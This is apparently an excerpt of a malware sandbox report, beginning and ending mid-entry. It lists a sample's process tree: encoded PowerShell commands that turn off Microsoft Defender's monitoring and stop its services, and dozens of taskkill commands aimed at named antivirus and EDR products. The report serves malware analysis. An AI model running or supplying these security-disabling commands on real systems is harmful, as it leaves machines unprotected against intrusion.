      Suspicious use of AdjustPrivilegeToken
      PID:4704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:2772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:5104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:4132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:2668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:5056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    PID:516
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:3216
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      PID:1516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    PID:3976
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:5032
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Kills process with taskkill
      PID:4004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:5044
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      PID:3268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:2576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:4316
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1676
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:1972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4204
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:4212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:4504
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:3280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:3804
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    PID:4296
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      PID:2860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:4420
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:1056
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Kills process with taskkill
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5108
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      PID:2988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2288
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      PID:5020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:208
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      PID:788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2712
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      PID:1912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:960
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:1888
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      PID:3604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2360
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      PID:4616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3552
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      PID:2672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:4728
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      PID:4704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      PID:3824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    PID:2068
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      PID:3340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:820
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      PID:2096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:668
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    PID:772
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Kills process with taskkill
      PID:3264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4740
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      PID:4396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelOne.exe"
    3⤵
    PID:4824
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SentinelOne.exe
      4⤵
      Kills process with taskkill
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Cynet.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1936
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Cynet.exe
      4⤵
      Kills process with taskkill
      PID:4200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im DeepInstinct.exe"
    3⤵
    PID:2320
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im DeepInstinct.exe
      4⤵
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Elastic.exe"
    3⤵
    PID:2896
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Elastic.exe
      4⤵
      PID:220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Gridinsoft.exe"
    3⤵
    PID:4596
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Gridinsoft.exe
      4⤵
      Kills process with taskkill
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecureAge.exe"
    3⤵
    PID:1952
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecureAge.exe
      4⤵
      PID:4764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Avira.exe"
    3⤵
    PID:3080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Avira.exe
      4⤵
      PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Zillya.exe"
    3⤵
    PID:4544
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Zillya.exe
      4⤵
      Kills process with taskkill
      PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2324
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:2776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:1028
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      PID:1692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:3108
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    PID:656
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      Kills process with taskkill
      PID:3800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
    3⤵
    PID:4660
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAM.exe
      4⤵
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
    3⤵
    - Executes a command shell one-liner
    PID:732
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im mbam.exe
      4⤵
      PID:1808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
    3⤵
    PID:3816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMChameleon.exe
      4⤵
      Kills process with taskkill
      PID:3284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA="
    3⤵
    - Executes a command shell one-liner
    PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:1628
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:4828
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:3892
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    PID:1224
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      PID:824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASCui.exe"
    3⤵
    PID:1404
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASCui.exe
      4⤵
      Kills process with taskkill
      PID:756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASvc.exe"
    3⤵
    - Executes a command shell one-liner
    PID:612
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASvc.exe
      4⤵
      PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:3708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:3732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    - Executes a command shell one-liner
    PID:1844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:2372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:3060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:2512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:4548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:2824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:4592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
